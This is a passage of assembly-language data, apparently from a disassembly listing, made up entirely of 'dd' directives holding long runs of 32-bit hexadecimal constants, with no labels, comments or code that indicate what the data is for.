		dd 2DF0C982h, 4002BF5Ah, 16F7319Ch, 0DBE91A86h,	0E6D00AB2h
		dd 41C98102h, 75076454h, 5E021006h, 274F650Ch, 17900C4Ch
		dd 0AA64AE32h, 0DF0C813h, 7C4D042Fh, 0C861D6E9h, 7814EE7Ch
		dd 4BA0553h, 0CC906E3Eh, 0B11AE945h, 0AF642BC7h, 290FDDC2h
		dd 0C24B165Fh, 70D068BFh, 79C9122h, 0F91C6254h,	9F824CD7h
		dd 2568F201h, 0C57F4847h, 0B4F050Bh, 0DDBD0748h, 0FB18E40Bh
		dd 0BC2AF825h, 6B3E421h, 0C2260E4Ch, 26978814h,	755DACB2h
		dd 66DCDA9Ah, 129B0808h, 0DF40E85Bh, 0D794C40Bh, 0CC2AF616h
		dd 0F07D8085h, 5A66A102h, 5D18C568h, 5255C218h,	0D0D7B201h
		dd 1688E9E2h, 65E85303h, 7A73E380h, 7CFF324h, 381C9318h
		dd 2F0D98C1h, 0AEA29779h, 4C5FCDA4h, 0B9F949EDh, 0B5685601h
		dd 9033F64Dh, 0BF2D4544h, 2D011F5Ah, 17387764h,	0F971F801h
		dd 0F231843Eh, 4079A0Ch, 21049FB9h, 8B5BFCD6h, 0DDE72969h
		dd 1C12048Ah, 0D1166029h, 9A150E2h, 0F9570E53h,	0B5071B0Bh
		dd 62108056h, 165B4139h, 5521A782h, 0EC987FE3h,	7FF9FF0Eh
		dd 73B4DB1h, 25D98927h,	0C429C5CEh, 88A2BF50h, 0B7BDBAC4h
		dd 652C7B43h, 746BF6EDh, 0A0E582h, 3BBBEF1Ah, 0CC00D18h
		dd 2B462DEAh, 95B30E9h,	71086886h, 693AD19Fh, 0E594FB5Eh
		dd 3AA487C1h, 7D46D46h,	295333C6h, 9DEE6019h, 0C2976B7Bh
		dd 0C78375C4h, 20B7355Bh, 0BE567A41h, 641728EEh, 27EF4644h
		dd 8E1733E7h, 435F0CDAh, 49F1A57Ch, 0DF4E3252h,	0D08DD459h
		dd 0A23B1F4Dh, 0E92C3277h, 0B57F5605h, 768EBEB8h, 8D01175Ch
		dd 0E91B2768h, 5BD568C9h, 0F73516BEh, 0F0B9EC3h, 8541DB27h
		dd 0D1186852h, 2E7CE9A8h, 0F5B8A307h, 60FB6672h, 245BD04Ch
		dd 124B1E6Eh, 0E1F5C9DEh, 6BA325C1h, 4C25BBF9h,	0CCEBE3A0h
		dd 0B4C946Ah, 3FF000F9h, 0D8E927ABh, 50B7D9A6h,	0B30D8144h
		dd 231E6834h, 0B202FF23h, 74EA802Dh, 6459AE1h, 5A6C81B0h
		dd 2960417Fh, 296E9C20h, 64E911B2h, 5C4B8720h, 0C1157C4Bh
		dd 0A66A89E3h, 999E50DFh, 7497AA70h, 3B2D790Ah,	30E93A2Ch
		dd 0C3173CF6h, 0BA2D776Bh, 5DFE8251h, 68DE98B3h, 3515625Eh
		dd 440F6F5Fh, 1398189Fh, 0B5A59276h, 0DC2FE2F4h, 3E8BA7F3h
		dd 0BC2601CFh, 0B821E9E1h, 20C79B81h, 209A5A15h, 0B6E0B75Bh
		dd 59940F5Fh, 0F8E90803h, 5EED4B4Ah, 0EF449EB0h, 4760B3BAh
		dd 370057EBh, 0AEBA523Bh, 122CD90Bh, 5EAC1h, 0A254C41Bh
		dd 0D0630903h, 74BF27C8h, 46EFC99h, 0FA215917h,	0ED05815Fh
		dd 2A8404C7h, 56274DB9h, 0FF5238FEh, 8B5BF51Ch,	1E941097h
		dd 55525D02h, 9E82BE3h,	5E955F87h, 0B6AD8949h, 5A9C99D4h
		dd 0F08BCB1Eh, 0D8B9139Bh, 0F66B4648h, 0B7EBB294h, 44F57DEAh
		dd 876813E6h, 143AE377h, 25610A5Fh, 6FA7765Bh, 8039E4D7h
		dd 8837C607h, 80395AF3h, 2874B1B1h, 9F91A0F1h, 0C6D9C522h
		dd 0FD40958h, 0EC8AED04h, 0ADE939EEh, 9CAFC40Dh, 9CDF2528h
		dd 0B62E90CFh, 0AFF62713h, 5BA02D63h, 52D800Ah,	11F65553h
		dd 0D6B8DE5Ch, 62F2C1AFh, 4C92636Ch, 78EB4EC5h,	0EB49E9A5h
		dd 8B540967h, 0C5E5D71Ch, 95685C63h, 4FC2B2BFh,	2F7E5FA3h
		dd 83666C96h, 5BE1E84Bh, 0A384D07Dh, 304ED8D7h,	9D50E650h
		dd 54677016h, 58996507h, 0D3F72D60h, 0D71EC04Bh, 21CEFBCAh
		dd 44F7DDA2h, 5331300h,	1C5A1645h, 777F38D6h, 52825D4Fh
		dd 0E849DD6Ah, 0B360959Dh, 6F3DC04Ch, 109BA35Fh, 0FC4E3BB9h
		dd 77076BC7h, 6B4EC220h, 556072F6h, 0D80BA956h,	0EFA8F81Ah
		dd 0E4E1CC3Ah, 1411D364h, 2EA3604h, 0D75DEE31h,	4EBED201h
		dd 3E63C95Ch, 13BAE184h, 688FD0BAh, 4EBC49A3h, 0AECD51C4h
		dd 0B1D5A02Ah, 1F24627Bh, 0DB089201h, 526601C2h, 0CBFECE88h
		dd 77C2F1A2h, 17BCD0DFh, 0EFCB0830h, 0DB9AF61Eh, 14FE852Ch
		dd 764167CDh, 0BF00B10Fh, 0D195603Eh, 0B7908995h, 53FE721Ah
		dd 0D212B75Ch, 0A537F975h, 0F320CDE2h, 0DA469FBh, 6F060A98h
		dd 313DD22Ch, 0EA9BA0ACh, 34D1243Eh, 0A8021324h, 0D5BE98B2h
		dd 30AC8190h, 0BD9EE886h, 420257EAh, 0D5033765h, 6F8A1E69h
		dd 45EE5BD1h, 974822D8h, 0E521300Fh, 0C1C51D7Ch, 19BA604Dh
		dd 668B0382h, 283612C9h, 0B5E008DAh, 0B04E025h,	75935D68h
		dd 0E974FE4Eh, 965C49DCh, 21EE9254h, 12A3890h, 128E8153h
		dd 110F461Ch, 9DE08DABh, 5F5F5168h, 7CBD4E30h, 88124A5Bh
		dd 4D59E9F0h, 44EE5BE0h, 7B8CAC1h, 697FDD88h, 2587C632h
		dd 3E5BB46Fh, 41946886h, 3B962551h, 2D0BB166h, 0D7643F5Fh
		dd 0D57ED289h, 83357E2Fh, 5A8D6825h, 2051D5C1h,	0EB8897F2h
		dd 591E146Ah, 0D001F60Bh, 295C5D3Dh, 81CA0FBh, 14141CD0h
		dd 4FF5E3E9h, 0DCE651E8h, 4BFC6805h, 98AA5786h,	7101F3BEh
		dd 552BF13Ah, 0EFC9DD89h, 12689A6Bh, 0CE56F1DBh, 84CD5653h
		dd 5651DE11h, 4A83CE3Fh, 0CAEA7156h, 0C97D3DA6h, 6853050Fh
		dd 0D2BC5B54h, 0B25206C0h, 0E22EC087h, 0B61DA308h, 0A4E9D502h
		dd 9E94D5ECh, 0DB9F8A2Dh, 0B8C213C1h, 63AA4E28h, 41CEAEABh
		dd 17CEF105h, 93BA0F1Ah, 292FA59h, 3E1DC1h, 182C32B9h
		dd 304118E1h, 4216049Ah, 15084964h, 2D5F00BAh, 7E634B28h
		dd 7B05298h, 687D2A61h,	0B76B7421h, 0F5AA1807h,	8602411Fh
		dd 29F3AFAh, 0C0C78080h, 9DE20D98h, 198BF471h, 1726BE72h
		dd 0AD447BE9h, 98807F0Eh, 1550165Bh, 0D1C34409h, 9AB31665h
		dd 40DD257Bh, 819D36F1h, 4DD712Fh, 0A3105068h, 637004E4h
		dd 31C14906h, 0C06EE4Bh, 4A17A838h, 0C3A433EFh,	0ADB7B4E7h
		dd 55F604B0h, 98C1D707h, 0AD2ACF3Ch, 8A92C5FBh,	21209242h
		dd 0D4CB8793h, 0CCAD1E68h
		dd 572B76F2h, 30B3405Ah, 0EAD5624h, 0EE131AB9h,	27120CDFh
		dd 712AC94Dh, 0BE882099h, 73C22D12h, 0DBADB0Dh,	434887Bh
		dd 6124E5B5h, 930EAB68h, 0FEC502A7h, 33B99201h,	196163AFh
		dd 813D004h, 598ADFF4h,	57CF6D50h, 5E70B465h, 4267132Fh
		dd 212E68EBh, 8F393EE6h, 33B7DD47h, 38317403h, 20C18859h
		dd 37253601h, 2EB704Bh,	3F7B279Bh, 3160DBF7h, 9317D049h
		dd 0C8E929F2h, 6E268B05h, 24C1BB7Eh, 0A32B0FAFh, 0B0FC26CDh
		dd 75472989h, 1252F638h, 3A5566A9h, 0C9C908A8h,	8AB80AEh
		dd 0DEA6897Fh, 1C5F7A1Eh, 0A471BD11h, 0B5E808h,	789AE281h
		dd 0EAEC7AB3h, 42370AF8h, 4AF10C47h, 0F4006ADFh, 0E5DD8ACh
		dd 0BDE90B2Eh, 284379B8h, 1AC90F1Bh, 47C74095h,	6E7D0B80h
		dd 4F567EA5h, 2F4CA193h, 9EA354B8h, 0CF809509h,	9032D14Fh
		dd 94A4733Ch, 3E7C012h,	0F6E1FB03h, 73EFABD7h, 30F12538h
		dd 0E24EF170h, 0ED3EA9D9h, 15453BFBh, 44C3CFh, 6F03B850h
		dd 1560CCCh, 981109BEh,	40D6F71Fh, 8F2EE902h, 0D5BEBA9Fh
		dd 3F2DBD44h, 0E21BF6B5h, 0F0B1C231h, 0F9C93001h, 0D9B729Ah
		dd 7134933Dh, 688426ECh, 0F88CFAA0h, 0D60925E9h, 0DC3BEEC9h
		dd 0CC13373h, 83D834A2h, 678ED06Fh, 0F095A02Dh,	7E951BEh
		dd 95F629D4h, 0D1DFDBB2h, 31CE2057h, 0E173F0FEh, 0D2F24450h
		dd 0D7455865h, 0E6D4E6AFh, 0C7A1A0E6h, 7897125Ah, 6556B040h
		dd 0C5B38F60h, 76E81807h, 25F5061Eh, 0C3A2F6Fh,	9570A409h
		dd 5B6F64Fh, 0AF52C104h, 3F616012h, 163EEFE9h, 6E99AE2Bh
		dd 0AD52356Fh, 0F3E9166Ch, 0B73034B0h, 0CC88C3C0h, 0E5755173h
		dd 5859EA13h, 776D6605h, 805B2A48h, 0C9685250h,	444B8B06h
		dd 59FE6680h, 7490A0h, 155339C2h, 0D189511Ah, 4BB7C8E4h
		dd 0E1122F35h, 0D12DEE6Ch, 42ADF15Ah, 65C43EE9h, 0ED64D560h
		dd 148D2B13h, 99CD2962h, 4AE90840h, 56B3C1A5h, 34F0DD54h
		dd 6B0BBE92h, 0FA291470h, 67F9BF36h, 59F5EA42h,	0ACF094F5h
		dd 7F6AF205h, 545F008h,	88534D0Ah, 0DBEB214Bh, 0AD2C097Bh
		dd 80D9C920h, 664B87C1h, 1A185246h, 26E8771Dh, 0C2BF8542h
		dd 0BD0396C7h, 58ABCFC2h, 68F64080h, 105BC00Fh,	0D0ED4913h
		dd 7597FE7Ch, 0A92AEDB3h, 31BED20Bh, 6F95E9AAh,	1B8BF00h
		dd 7537F971h, 506B0935h, 91DF312Dh, 5B84F85Ah, 0E24AEE68h
		dd 0D9532830h, 0B232F39h, 0E3ADE91Eh, 0B955A31Dh, 0B22E22B7h
		dd 335A7F43h, 9DAE0EC5h, 2E2461F9h, 2C3EA1ECh, 0E6D45AD2h
		dd 14D0728Bh, 21EB292Ch, 7B0FFB24h, 0F530A67Dh,	0FD31251Ah
		dd 2958F3DEh, 853E94E8h, 0B2600268h, 9531D285h,	0B36AC781h
		dd 0BB8284C0h, 67328100h, 5425A513h, 52AC5E5Ah,	0A788B1DEh
		dd 19552547h, 9070FD19h, 64DD82BCh, 0B2B92F7Eh,	0D862E2D4h
		dd 215A48F4h, 5620327h,	0D5F7EE87h, 4EA084Ch, 78064F1Bh
		dd 5E66E980h, 184A676Fh, 0A03802E1h, 0AEDC5D43h, 0E60CA812h
		dd 0B8596388h, 0CA77305Fh, 1868660Eh, 0DF2D12C5h, 0EACF46EAh
		dd 0EF09EBE1h, 0FD18BFE6h, 0A702C68Bh, 2275166Fh, 555BDF76h
		dd 0C1213F40h, 0AD68FFC5h, 0BA5BF4B8h, 653BE879h, 0C17909A7h
		dd 5BDE0823h, 0F6A1A425h, 0E2C94FF4h, 0E508202h, 4468B9F5h
		dd 0E611B83Eh, 0C1C320B2h, 1C772112h, 6568D942h, 0C36E5C05h
		dd 0F700CD3Fh, 0DD6B48C7h, 98FA09AEh, 0E53B4CCCh, 0EE7383A4h
		dd 10569BEAh, 580850B9h, 88DCDB7h, 660BD948h, 7221555Ah
		dd 673059E8h, 4F604C7Dh, 0B754E7E0h, 0E20FD9B0h, 5A4098BFh
		dd 0BCF1880Ah, 3FA64617h, 5F5201BAh, 6B162068h,	3A9A72A2h
		dd 2AF82C5h, 0C657D6ADh, 32A8F5F5h, 96F72711h, 0B161C422h
		dd 6B0A79F7h, 0B12F5CE6h, 175E5E31h, 3F0BBA72h,	0CFCFCB0h
		dd 0EDB5F0E8h, 16C5E309h, 318057BAh, 0FFEBA32Dh, 0C2A9115Eh
		dd 0D79A3E13h, 896DAC23h, 45042CD2h, 38BC46E9h,	404EB4Ah
		dd 0E71AD83Dh, 745B5640h, 0BAE5582Ch, 9D36C503h, 397A742Ah
		dd 293DF921h, 0BA127CC8h, 2DFC20CFh, 1114F433h,	18B3EEC1h
		dd 58877414h, 78E4E75Dh, 99991BDh, 0B4668D08h, 4BBC9C20h
		dd 543DCC5Dh, 0A6D9F9F1h, 722D5A4Bh, 0BCFBF7B9h, 0D1BA0C94h
		dd 3B0AF9Bh, 0B450205Ch, 51C18102h, 7FBEF4FDh, 7C9F705Ah
		dd 11F150D3h, 0E9654D04h, 1BB3EF8Fh, 4421FE5Eh,	8D83175Ah
		dd 40A011F5h, 96FAC47Ch, 1468A3A8h, 0E4314E5Bh,	48025D03h
		dd 0F202807Dh, 0B5CD3CB0h, 0D208135Eh, 0EE2912CFh, 0C4BC5BD5h
		dd 0C282BD84h, 0C1867C3Ah, 0B9E0D80h, 67105C2Fh, 0E0255B14h
		dd 0DFDEA141h, 3A7E67B1h, 0F1BE2593h, 216A0411h, 1916CC0h
		dd 0F1C9CE31h, 5650088Ch, 0E0416996h, 9782D701h, 7BC9B104h
		dd 0D5183518h, 0D9778273h, 0F920084Bh, 7A6D02Fh, 814D8E1Fh
		dd 64C51EE3h, 7C0BF842h, 2D400400h, 68731783h, 0F6D85B01h
		dd 380D4278h, 5556AD5Bh, 42DEFE99h, 9CF4B8C7h, 0AFB00A44h
		dd 0F4519D54h, 0BD0BDB73h, 1C79DA44h, 0AD75931Eh, 0EAD5F21h
		dd 0AF57FB4Fh, 5DD28BEBh, 0A8681C51h, 6A0D47B1h, 2ADF8701h
		dd 0EB2D0D7h, 0F42E8A3Ah, 0C0E7B0B3h, 2EFD058h,	0E90BC780h
		dd 0F6056D40h, 0F313D305h, 605B8DBAh, 751719B0h, 5FE234Fh
		dd 529D2903h, 1F44EED0h, 64AB4845h, 0B539FC81h,	58FAE6AAh
		dd 0E6BB8479h, 492B99CDh, 607868C1h, 0C8CFF99Dh, 27B210A7h
		dd 0E224652h, 0C7058268h, 0AF525849h, 2D2839EEh, 57040806h
		dd 2936BC42h, 779D9BEh,	1CA0880Ch, 13355848h, 395FFBFh
		dd 0D0EE12ABh, 225EC5A7h, 93644C2Ch, 0E0DF971Bh, 26757FE5h
		dd 104711E2h, 86BF05CEh, 8EC1C83Dh, 0E804BC96h,	4BC9DEF4h
		dd 518D54E1h, 6B7F6590h, 6F1EF8BDh, 0AE5B7DAEh,	47BF0775h
		dd 1772081h, 0E7E94A03h, 2EC6D96h, 6202F4BDh, 1AE869ACh
		dd 0C69F4C68h, 77DCB71Eh, 139B68FAh, 2D629B82h,	1C46BDFCh
		dd 54D8F5A7h, 98F292FBh, 0BAC52D58h, 0EB025425h, 0F83765D3h
		dd 4FE9E3EAh, 0EE77C4F1h, 0A85B5FE7h, 27C6012Dh, 0CABF0550h
		dd 0F9290B93h, 28009360h, 3FF408F2h, 0D9ED0B2Dh, 5C291B0Ah
		dd 5A988D80h, 33983B51h, 2FAD5758h, 257C51ABh, 0B93E6AD1h
		dd 1ACCA27h, 54768C4h, 7C80E289h, 7D126133h, 0D8622A2Ch
		dd 2DF025C3h, 96B470FEh, 17539BAAh, 0B2CC3ED6h,	353C40AAh
		dd 2F2E91B0h, 0E102F676h, 0E0509B40h, 2574EA81h, 555214F2h
		dd 8E410883h, 0CC22A14h, 9E8DB58h, 815AC92Ch, 0AD3DB33Eh
		dd 2D956001h, 0D5201D37h, 71704335h, 0EED00E4Ch, 4D023017h
		dd 0FDA2DF05h, 38E1DFA5h, 5709CE3Bh, 30832027h,	0E688ACF4h
		dd 88DDE2FFh, 0BE2F992Dh, 0CFE925A3h, 62AD2087h, 2BD7B3EBh
		dd 0D029004Fh, 97FE2913h, 0EE819D45h, 3D420FE0h, 805502Eh
		dd 81A9A94Ah, 2C377F19h, 467800F7h, 0E9307475h,	44946156h
		dd 78F4048Ch, 0DA95BBh,	592587BEh, 8896BD2Bh, 4F6C08E2h
		dd 0C4725625h, 4CB2F808h, 7BAC4F4Dh, 683F4342h,	0A19A2EADh
		dd 81635061h, 6141CDC8h, 0CB2F5DC4h, 72DE00A1h,	66E93D4Fh
		dd 50B59EF9h, 8082F3E3h, 0D61D3204h, 8972BF73h,	19130882h
		dd 977CE9Fh, 0DCA7A0CEh, 6A857959h, 0AA7ED5D7h,	3888426Dh
		dd 7C25C5EEh, 0B6F2A581h, 0C2F90CD2h, 0BDAB6812h, 17221224h
		dd 0B75686B4h, 0C6D8E318h, 0ED0E92B4h, 0B8F563E8h, 80EFAD28h
		dd 44B151FFh, 5E0DF1FCh, 3C81DEE9h, 175F7034h, 0A3694068h
		dd 314E0F39h, 7E9E2E1h
		dd 0D173DC70h, 680D8998h, 0F75862E3h, 0DAD611CEh, 73C5CAFBh
		dd 805E4A86h, 2DC1BB37h, 1FB510Bh, 0E513AED3h, 0B2D11980h
		dd 4DA0C321h, 5EEE40D6h, 64E69B8h, 45A2C6C4h, 684CA497h
		dd 5943BA25h, 0FEB180C2h, 8893C180h, 1D59CB3Bh,	56AFD2F3h
		dd 0D0B6C10Ah, 7FF63E30h, 680A5F42h, 802C3F45h,	0EFC0E0B7h
		dd 0B2035207h, 8BB05067h, 0E820DFD0h, 7340A2Ch,	0E9C2304Eh
		dd 0C422EB35h, 0D4415AD1h, 6D9970EBh, 0F39CF9F2h, 97C80158h
		dd 0B750ECFEh, 5B4082D7h, 1200699Dh, 6DED8122h,	321DB13h
		dd 0C15DEB89h, 60E708E3h, 549E6B47h, 1200C3ECh,	0F77DE467h
		dd 4F93E9D3h, 0BA6D5C2h, 1854CF65h, 0C1782D40h,	0F7810214h
		dd 718534F8h, 0CFCC80D5h, 48C9049Fh, 6D049E09h,	8034DB48h
		dd 0DF90B29Ch, 400E9858h, 0EB82FDD4h, 6B1ACA82h, 15AC87Fh
		dd 20F0A4CBh, 0AC14CC98h, 28A6E804h, 8200DA05h,	0B353C1FEh
		dd 0F6EBC0FBh, 0B5B8C4F6h, 82520AD2h, 0CB0DE601h, 0E02A8929h
		dd 9195D51Bh, 127F07A0h, 0D3E8F248h, 0A3AA6BC4h, 21E98204h
		dd 72FBA079h, 9D7B6658h, 6E061441h, 17B8E4C5h, 342B190Ah
		dd 43F60099h, 0E947492Eh, 7E0A752Dh, 0EB8078C1h, 6EE6DA61h
		dd 0B8CBD2F6h, 0FB05EAC0h, 2082C3CDh, 66D328B5h, 7C897841h
		dd 7281D207h, 0F4639A9Bh, 5EC6F84Fh, 61842CE9h,	0D89390B2h
		dd 2B4D1D68h, 37238521h, 0AC012053h, 0A03A9A3Fh, 0DDF5AF42h
		dd 0DA955EC4h, 895713D9h, 7480BFEFh, 4B5D5AD0h,	92F0BC29h
		dd 0A66E83A1h, 20EBD658h, 0F381E9BFh, 249D79BFh, 0D0963E56h
		dd 5BFFFCE1h, 6804E0F2h, 0F945283Dh, 51CA05DFh,	968272DFh
		dd 0FD33807Eh, 434DC4Ch, 41649705h, 5A81EF53h, 1305E88Bh
		dd 2D80B98Fh, 0E926905Bh, 46C86FF2h, 42BC476Ch,	8AE0FA00h
		dd 0ECBBB53h, 47C7C92h,	7767D0E9h, 1DC2EB14h, 0C60888C1h
		dd 4ED7F809h, 8B4BBE3Eh, 375CCBB0h, 0BA7D5C2h, 2620325Ah
		dd 832D07A9h, 0A20D240Bh, 1AD74069h, 937576F1h,	0C98D25Ah
		dd 5C030B50h, 0AE68F9F7h, 0F3FA8434h, 0A84E7C0Dh, 1FF25EEh
		dd 341DDC52h, 8EC8006h,	0E90BE26Fh, 8C2F4AC0h, 404E334Eh
		dd 5B2721B3h, 0C105B884h, 6E61DD1Eh, 73261E8h, 0D940E80Bh
		dd 5D17A3B9h, 2A85FCF9h, 0C355BDA2h, 0E9839133h, 0D05F07Eh
		dd 0E2865BFAh, 2837D2AEh, 2F8AC841h, 0E9022243h, 0B729AD7Fh
		dd 388FD63Eh, 4929673Bh, 91B25096h, 38F28012h, 0E985AE01h
		dd 412B70E7h, 5910DC6Ch, 38C72E0Eh, 0D43623Bh, 7EF0220Bh
		dd 29492028h, 65BF08B2h, 0B7FAE285h, 2DA86CDDh,	0D0303ED4h
		dd 2EBF6BD5h, 0D9BAEA6Fh, 0B70F9A5h, 3AD7BF3Ah,	68F9F7D7h
		dd 7EB1E942h, 867627F4h, 6334E9D0h, 0DAE7B1B2h,	0C0550FFAh
		dd 26625965h, 0F66B1Bh,	0D08F84C0h, 64F5B9E9h, 0A3EECA0Fh
		dd 0C4A0B892h, 201FFBEBh, 3817703Eh, 0F2FF4CC4h, 510A1961h
		dd 9E20412Ch, 532A1383h, 3400FFF5h, 30BB102Dh, 0C07CFAACh
		dd 779ABF9Dh, 46B724E8h, 0E4F60FBh, 4D9216Ah, 4CE6DC95h
		dd 0ED13B40Ch, 0B01E31Ah, 6F9915DCh, 80E502Eh, 0A8715F2Fh
		dd 7BAD2264h, 2FAEEA03h, 0F2B023BCh, 0B23E4453h, 91C2022Ch
		dd 7C78EF2Bh, 0FB9B1A94h, 0E28ACB10h, 50C789C0h, 0F6252F07h
		dd 78C65959h, 0D706EA6Fh, 60971144h, 4F133102h,	7A74F139h
		dd 0AD42CDB1h, 6BB10368h, 0A957A7E2h, 99CCD56Ch, 4B001DFCh
		dd 68526234h, 4A4E5BD0h, 8C4C8023h, 0F5E0B22h, 0AD4FD3E8h
		dd 0D407304Fh, 76AF7320h, 181EFE63h, 4E582A5Ah,	0BF3A48E1h
		dd 8999A711h, 876C7FA6h, 1E77B20h, 713CAD35h, 943F0552h
		dd 2781ED5Eh, 0A9A4691h, 4DF1476Ch, 695759B8h, 1C8D81E2h
		dd 0D23A6FF9h, 0A6A910F7h, 0F5A5986Dh, 2E96439Eh, 0AEE5108Ch
		dd 0AF681350h, 83863775h, 17922906h, 27B97A1h, 62C8C698h
		dd 1970FFE9h, 0FD82ECB7h, 52C6413Fh, 7F393275h,	8E7C415Fh
		dd 2956CC1Dh, 0A67A76BEh, 80DD1993h, 0C39C205Eh, 74E081C9h
		dd 80BCC242h, 775B050Bh, 7C583782h, 5B4E30DFh, 7B90921Ah
		dd 935C63Dh, 0D729F4DCh, 2D018F16h, 37C6206Bh, 0AD7F50E9h
		dd 18EB047Bh, 3EC2C089h, 3379DFECh, 87A80164h, 0D5F8B585h
		dd 204EC12h, 55053CEEh,	40786323h, 0D8590888h, 3661238h
		dd 0F926E827h, 5A2AC21Dh, 43625F07h, 44455FB2h,	0B3BA7B8Ch
		dd 4E8C01F3h, 0DD2140DFh, 84C49C5Bh, 0F420910Bh, 0C152440Ah
		dd 1485995h, 0D3C1FFB2h, 0C081E82Eh, 53DA8852h,	0FF514A50h
		dd 5FE94542h, 0A8BC7E1Bh, 8DC909A4h, 5D833C71h,	89006632h
		dd 8F780EF2h, 95D52961h, 0BD012759h, 2CA95617h,	0C85FCE78h
		dd 260F2D9Ch, 1F44FD36h, 7E00854h, 3AEF5B2Bh, 0A79AEE97h
		dd 29955A0Fh, 27C3F853h, 7E444431h, 0CC20AEB0h,	505C25DCh
		dd 301773FBh, 5F5ECFC2h, 4AC23973h, 2533CCD9h, 90CC5456h
		dd 1555339h, 4E3BEF68h,	0E82B5B27h, 0F5D73F09h,	980C1760h
		dd 0BD5CA942h, 2BF94FBh, 2E0B7BF5h, 0B72D584Dh,	0D0691056h
		dd 2F5679B2h, 8676326Ah, 0F54EE958h, 0F3200A94h, 0FBEDC016h
		dd 0C4F6860Fh, 4FBF38ABh, 0F465E308h, 7291EFFDh, 0D83A1CECh
		dd 0F769D6F1h, 85B74EEh, 0B1245B57h, 0E3685319h, 4D0882Ah
		dd 8CDBD6BDh, 0CE96EE89h, 597FCA07h, 6E4C16Fh, 203AEC86h
		dd 24C0AC92h, 0A63633C3h, 41AF9041h, 8D2C2075h,	5FAA273Fh
		dd 0EDC4C4B2h, 40050106h, 50CA9A7Fh, 5B0DFA79h,	0E4278D43h
		dd 2F926725h, 17278C07h, 0E8B25729h, 2D6CE540h,	0DB09FA7Eh
		dd 0BCDA799Fh, 54FAA597h, 0A2F3FFFh, 0AC173104h, 0F4708AF1h
		dd 43015112h, 2E4E6D03h, 2E33E6D8h, 0DFA3F55h, 78DB4BD7h
		dd 93321526h, 3EF04CA6h, 34281662h, 0DE6E04EEh,	8B5A18C1h
		dd 23C82C3Dh, 7289006Ah, 0C5E97842h, 0DF276A97h, 3307FFF0h
		dd 31247BA6h, 0BD3F60ECh, 0ED062AC4h, 7BF47963h, 25B01C0Ch
		dd 0DE49AFFCh, 0F979C615h, 5F3EE085h, 9A101EE8h, 0C1BB02EEh
		dd 0F83D660Fh, 315A173Eh, 1181FAC3h, 5101A37Ch,	287DDD56h
		dd 41680AC2h, 0BA402D2Dh, 90630172h, 0AECE31C6h, 0F029465Bh
		dd 0DE4F0927h, 5B8B1FECh, 0CDCEB760h, 62694412h, 6F2ECD01h
		dd 0E13F674Fh, 0B4443C41h, 302D2000h, 74404E6Eh, 0B9D2B5E9h
		dd 0E1A4C14Ch, 5F30CB89h, 0EFC9D318h, 6569E58Eh, 0AA2084C3h
		dd 555E42h, 4F6857B7h, 304B2538h, 0BF84F4E4h, 0C5BDFEF0h
		dd 0A2E188F8h, 77005612h, 261642FAh, 0F0914E58h, 0CF4A5D9Bh
		dd 929F71A3h, 5DE34948h, 27904h, 81D7DEB8h, 251FBCCCh
		dd 39E996E0h, 2DFEE64Eh, 6CB7F9D5h, 5CBD0212h, 0DF62853Bh
		dd 0A0F50220h, 0B72C53FDh, 75AF5D52h, 0FE6638A5h, 0AF4CF3E2h
		dd 0FC45A50Fh, 0ECA3AF3Dh, 0AB856D98h, 525CA461h, 8988322Fh
		dd 0ADEEE3A0h, 4E604B28h, 397AF80Ch, 117CB74Ch,	0CD00820h
		dd 19255814h, 594E2E7h,	0E867E53Eh, 12B52573h, 40BC43A8h
		dd 4D29EF0Bh, 0C1007D46h, 505A66ECh, 12C1B353h,	0D888D1F3h
		dd 9DA69760h, 0E3803B66h, 0AC81AB75h, 947F8DD9h, 0F501EB8Bh
		dd 0B9B692Bh, 5F6AAD20h, 6FBDB011h, 64E92013h, 0FC6625C3h
		dd 0F6A8A83h, 8029F30Ah, 0A50F0949h, 8EE005C0h,	0B04E96E9h
		dd 11082035h, 3CF425F2h, 0E7B80227h, 64DD5C96h,	6616D21Dh
		dd 4A2625Dh, 17A0928Dh,	5548BF5Eh, 0D77D6C7h, 0F6E86E5Bh
		dd 0FE42112Dh, 0FDE99B74h, 0BB94F416h, 6290FD69h, 27CEB8D2h
		dd 0FFDE49FBh, 8754DAECh
		dd 270BBDA4h, 2F63C03Fh, 0F8D5AEEAh, 365B51Ah, 80F2B050h
		dd 5CE9ECEDh, 5522A2h, 613F528Eh, 0FBF5750h, 6F0D28C5h
		dd 6790F7A1h, 2540F668h, 5A2460EDh, 0C202423Eh,	4A4CE334h
		dd 0A0E45F61h, 1250B60Ah, 0EE00D123h, 0E9BD62A0h, 0FCB15E77h
		dd 0D682E480h, 80660480h, 0FD88F380h, 0D44BDDF6h, 0C142D691h
		dd 7D010105h, 87E0143Ch, 721C5A90h, 577043Bh, 5EFB5FC0h
		dd 7404ADDh, 0A28EEE69h, 52EA3EE8h, 77B3005Dh, 0B8723751h
		dd 40D03879h, 0F3D8A0FAh, 0B4E59865h, 0DABA0140h, 70669D47h
		dd 0F995EA58h, 8EE4441h, 17461334h, 218EE0CCh, 792DFB5Bh
		dd 2DB4A82Bh, 0D565E2A6h, 0CDE27845h, 83D27DDDh, 2D2B5313h
		dd 6F0B66EAh, 0D4D0E917h, 68C738BBh, 0DD0FA926h, 1AC4CA6Dh
		dd 0BCFFBA2Dh, 38B6806h, 3327E90Dh, 582D40D3h, 84255B9Dh
		dd 0E474A868h, 0B5D2433Ah, 0F24700FEh, 23AA293Ch, 375A81B8h
		dd 0E2E715B8h, 0D102CC91h, 3C66D5E2h, 0CFEFF205h, 0D7800C15h
		dd 419C2585h, 9910464h,	96825A08h, 0C4571C07h, 30792577h
		dd 0DEEB24FEh, 9CF52DEBh, 0B714BC4Fh, 0DC280C1Bh, 4AA7271Dh
		dd 0A3A1724Ch, 985C9DE7h, 0A5A41413h, 0F1EA07C6h, 4F210512h
		dd 457C18BFh, 1B120AE5h, 1F0833F4h, 4891331h, 14834406h
		dd 9F2314D5h, 79EB2F95h, 6F5B4988h, 1A68C307h, 0B2B89C4Ah
		dd 40E253BAh, 254AA384h, 99686AEFh, 5424172Ah, 2068930h
		dd 20367B1Eh, 0BB04A737h, 2E49218Fh, 43140BFEh,	6FD97780h
		dd 0A7BD08DAh, 0CDB23DDCh, 0B8E0F556h, 0FF30676Ch, 0BA521E26h
		dd 0EF1F134Fh, 361E013Bh, 2C0EFECFh, 0D49773B4h, 3F2D50FFh
		dd 28D25304h, 3F84D829h, 5BE90802h, 0E12BD6ECh,	2A749E68h
		dd 4FBF228Ch, 8135ED63h, 36DD7D6Ah, 0D4D256F8h,	79110842h
		dd 258049EAh, 0BFC14061h, 5E2E0009h, 0EEF8164h,	0E84F7BA9h
